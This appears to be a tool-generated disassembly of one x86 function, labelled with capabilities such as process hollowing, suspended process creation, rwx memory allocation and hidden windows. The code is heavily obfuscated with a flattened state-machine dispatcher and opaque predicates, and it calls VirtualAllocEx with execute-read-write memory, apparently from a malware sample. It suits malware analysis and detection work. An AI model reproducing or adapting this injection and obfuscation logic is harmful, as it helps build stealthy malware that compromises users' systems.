Function at 0x100068d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x194
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x19c], 0x2db4725d
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
sub eax, 0x8068bb40
je 0x1000b6f2
jmp 0x1000690c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81248908
je 0x1000e7c5
jmp 0x10006922
mov eax, dword [ebp - 0x1a0]
sub eax, 0x816704ac
je 0x1000dc9c
jmp 0x10006938
mov eax, dword [ebp - 0x1a0]
sub eax, 0x821bda34
je 0x1000e333
jmp 0x1000694e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82229ded
je 0x1000eb18
jmp 0x10006964
mov eax, dword [ebp - 0x1a0]
sub eax, 0x82aa510c
je 0x1000e86f
jmp 0x1000697a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83759ad0
je 0x10009e57
jmp 0x10006990
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83872d74
je 0x1000dbb7
jmp 0x100069a6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x838a88d9
je 0x1000bf8b
jmp 0x100069bc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83d51843
je 0x1000e11f
jmp 0x100069d2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83ddac80
je 0x1000e6ec
jmp 0x100069e8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x850cd1cb
je 0x1000b384
jmp 0x100069fe
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8566c7fa
je 0x10009a4f
jmp 0x10006a14
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85d22cd1
je 0x1000a23e
jmp 0x10006a2a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85d3472a
je 0x1000e8ad
jmp 0x10006a40
mov eax, dword [ebp - 0x1a0]
sub eax, 0x86ea7e31
je 0x1000b577
jmp 0x10006a56
mov eax, dword [ebp - 0x1a0]
sub eax, 0x86fb978c
je 0x1000a09c
jmp 0x10006a6c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x86fc2e89
je 0x1000e9e3
jmp 0x10006a82
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88035ab3
je 0x1000d349
jmp 0x10006a98
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8951a0b0
je 0x100095ff
jmp 0x10006aae
mov eax, dword [ebp - 0x1a0]
sub eax, 0x896fb1c5
je 0x1000a6dd
jmp 0x10006ac4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x899e63ad
je 0x1000c3d0
jmp 0x10006ada
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8aa8de38
je 0x1000bf6e
jmp 0x10006af0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8badf710
je 0x1000ce73
jmp 0x10006b06
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8be49349
je 0x1000abcb
jmp 0x10006b1c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8c0e2076
je 0x1000e758
jmp 0x10006b32
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8d479f96
je 0x1000c0f3
jmp 0x10006b48
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8d70fc49
je 0x1000a49e
jmp 0x10006b5e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8dc0554e
je 0x1000d4f4
jmp 0x10006b74
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fb0b627
je 0x1000a64a
jmp 0x10006b8a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8fdc20a7
je 0x1000e46f
jmp 0x10006ba0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x904ed7ee
je 0x1000e8eb
jmp 0x10006bb6
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90815369
je 0x1000a8a5
jmp 0x10006bcc
mov eax, dword [ebp - 0x1a0]
sub eax, 0x908be568
je 0x10009034
jmp 0x10006be2
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90f632a2
je 0x1000b965
jmp 0x10006bf8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x912410bb
je 0x100091ed
jmp 0x10006c0e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9129249f
je 0x1000e549
jmp 0x10006c24
mov eax, dword [ebp - 0x1a0]
sub eax, 0x917ebcbc
je 0x1000ea02
jmp 0x10006c3a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x92390fb0
je 0x100090a4
jmp 0x10006c50
mov eax, dword [ebp - 0x1a0]
sub eax, 0x92be48bd
je 0x1000974d
jmp 0x10006c66
mov eax, dword [ebp - 0x1a0]
sub eax, 0x930c8170
je 0x1000942c
jmp 0x10006c7c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x94335578
je 0x1000df0c
jmp 0x10006c92
mov eax, dword [ebp - 0x1a0]
sub eax, 0x94daf977
je 0x1000993b
jmp 0x10006ca8
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9584b3a6
je 0x1000d050
jmp 0x10006cbe
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9617b7ac
je 0x1000baed
jmp 0x10006cd4
mov eax, dword [ebp - 0x1a0]
sub eax, 0x978b2324
je 0x1000b904
jmp 0x10006cea
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98b6b2d5
je 0x1000e6fb
jmp 0x10006d00
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98e22b27
je 0x10009be5
jmp 0x10006d16
mov eax, dword [ebp - 0x1a0]
sub eax, 0x98ec6d72
je 0x1000c60a
jmp 0x10006d2c
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9993b7a3
je 0x1000cf07
jmp 0x10006d42
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9a4d1b34
je 0x1000e642
jmp 0x10006d58
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b604acc
je 0x100095b4
jmp 0x10006d6e
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9bd24f9f
je 0x1000d158
jmp 0x10006d84
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9be78265
je 0x1000d773
jmp 0x10006d9a
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9d1c1ce6
je 0x10009d4e
jmp 0x10006db0
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9ff1f25e
je 0x1000e840
jmp 0x10006dc6
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa0a12a5b
je 0x1000cd46
jmp 0x10006ddc
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa164578f
je 0x1000c03f
jmp 0x10006df2
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa17b2605
je 0x10009a8d
jmp 0x10006e08
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa28916d2
je 0x1000ed7e
jmp 0x10006e1e
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa2f802da
je 0x10009553
jmp 0x10006e34
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa3200c4b
je 0x1000e4af
jmp 0x10006e4a
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa33b6daf
je 0x1000a423
jmp 0x10006e60
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa46a6a6f
je 0x1000aa9f
jmp 0x10006e76
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa47eefde
je 0x1000c954
movss xmm0, dword [0x1001c398]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x19c], 0x582cf4bb
jmp 0x1000ed88
movss xmm0, dword [0x1001c23c]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3200c4b
mov ecx, 0x30734ebc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x63f611a
sub edx, 1
add edx, 0x63f611a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc093a86b
mov ecx, 0xb74d41a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a65aac4
mov ecx, 0x2beea25
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c230]
movss dword [ebp - 0x124], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xb42f16df
sub edx, 1
sub edx, 0xb42f16df
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x413a4588
mov ecx, 0x9b604acc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0x3829d05a
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9129249f
mov ecx, 0x8da3857
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c224]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001c220]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xa549f24
sub edx, 1
sub edx, 0xa549f24
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeea1da62
mov ecx, 0x19de8b29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c378]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x19c], 0x14f37929
jmp 0x1000ed88
movss xmm0, dword [0x1001c36c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x19c], 0x139f4382
jmp 0x1000ed88
movss xmm0, dword [0x1001c364]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x19c], 0x37a6396b
jmp 0x1000ed88
movss xmm0, dword [0x1001c354]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x19c], 0xbbe27dcd
jmp 0x1000ed88
mov dl, 1
mov eax, 0xc7f4d4fb
mov ecx, 0xb9009e59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0x3061190d
jmp 0x1000ed88
mov dl, 1
mov eax, 0xafd249b1
mov ecx, 0x7fd89281
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xf335fa06
sub edx, 1
sub edx, 0xf335fa06
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5a2e811
mov ecx, 0xbee46666
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0xde60f01
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7078937c
mov ecx, 0x595de6c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dl, 1
mov eax, 0xbb29c2be
mov ecx, 0x40c5f7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c1f4]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x1001c1f0]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x473778e
sub edx, 1
add edx, 0x473778e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x98b6b2d5
mov ecx, 0x52acf0dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c308]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x19c], 0xef127cee
jmp 0x1000ed88
mov dl, 1
mov eax, 0x7bb90b9c
mov ecx, 0xe02bf843
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c2f8]
movss dword [ebp - 0x134], xmm0
mov dl, 1
mov eax, 0xaabb0ec4
mov ecx, 0xa5dc488
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c2b8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0xb4b81baa
jmp 0x1000ed88
movss xmm0, dword [0x1001c1c4]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xc38401b6
sub edx, 1
add edx, 0xc38401b6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82aa510c
mov ecx, 0xfe6f943b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c2b0]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0xde2f801c
jmp 0x1000ed88
movss xmm0, dword [0x1001c1b8]
movss dword [ebp - 0x138], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x68a794b7
sub edx, 1
add edx, 0x68a794b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e12b3bb
mov ecx, 0x90f632a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0xe9a0d520
jmp 0x1000ed88
movss xmm0, dword [0x1001c1b0]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001c1ac]
movss dword [ebp - 0x13c], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xe1c84c79
sub edx, 1
sub edx, 0xe1c84c79
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d57f8eb
mov ecx, 0x473f1f78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dl, 1
mov eax, 0x570b083f
mov ecx, 0x838a88d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c298]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001c294]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x19c], 0x3943e904
jmp 0x1000ed88
movss xmm0, dword [0x1001c198]
movss dword [ebp - 0x13c], xmm0
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x381e5d3
mov ecx, 0xe96f6ddb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a37c41d
mov ecx, 0x6f89879
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0xdfc93a41
sub edx, 1
sub edx, 0xdfc93a41
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x917ebcbc
mov ecx, 0xe1629080
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
movss xmm0, dword [0x1001c25c]
movss dword [ebp - 0x140], xmm0
movss xmm0, dword [0x1001c258]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x19c], 0x39bf64dd
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6fcf396
mov ecx, 0x6d4144f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0x6364d00f
mov ecx, 0x46594a6c
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe8]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x19c], 0x6364d00f
jmp 0x1000ed88
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0x6ff5d457
sub edx, 1
add edx, 0x6ff5d457
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf6e731b2
mov ecx, 0x473b2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dl, byte [ebp - 0xd5]
mov eax, 0xe0a1a101
mov ecx, 0x391c72f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dl, byte [ebp - 0xc5]
mov eax, 0x14c6d272
mov ecx, 0xc5225ae7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0xcf105b61
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0x6cc52413
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x545dafad
sub edx, 1
sub edx, 0x545dafad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x246ec6e9
mov ecx, 0xdbd3a005
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xab54c8c1
sub edx, 1
add edx, 0xab54c8c1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc680490
mov ecx, 0xea177f7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x19c], eax
jmp 0x1000ed88
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
add eax, 0x17e0cb77
add eax, 1
sub eax, 0x17e0cb77
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x19c], 0x1fa7a792
jmp 0x1000ed88
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x19c], 0x6cc52413
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0x647050b7
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0x5f75f8c
jmp 0x1000ed88
movss xmm0, dword [0x1001c23c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x19c], 0x92390fb0
jmp 0x1000ed88
movss xmm0, dword [0x1001c22c]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001c228]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x19c], 0x8da3857
jmp 0x1000ed88
movss xmm0, dword [0x1001c208]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x19c], 0xdfdaa276
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0xc0d3bbc7
jmp 0x1000ed88
movss xmm0, dword [0x1001c1f4]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x1001c1f0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x19c], 0x896fb1c5
jmp 0x1000ed88
movss xmm0, dword [0x1001c1e8]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x19c], 0x140ba799
jmp 0x1000ed88
movss xmm0, dword [0x1001c1d8]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x19c], 0x7851fefc
jmp 0x1000ed88
movss xmm0, dword [0x1001c1cc]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x1001c1c8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0xc82ffd1d
jmp 0x1000ed88
movss xmm0, dword [0x1001c1c4]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0x86ea7e31
jmp 0x1000ed88
movss xmm0, dword [0x1001c1bc]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x19c], 0x232ce00f
jmp 0x1000ed88
movss xmm0, dword [0x1001c1b4]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x19c], 0x4df7951f
jmp 0x1000ed88
movss xmm0, dword [0x1001c194]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x19c], 0xfebb3287
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0xe1629080
jmp 0x1000ed88
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x19c], 0xd2cb1c02
jmp 0x1000ed88
mov dword [ebp - 0x19c], 0x52ae8142
jmp 0x100068f0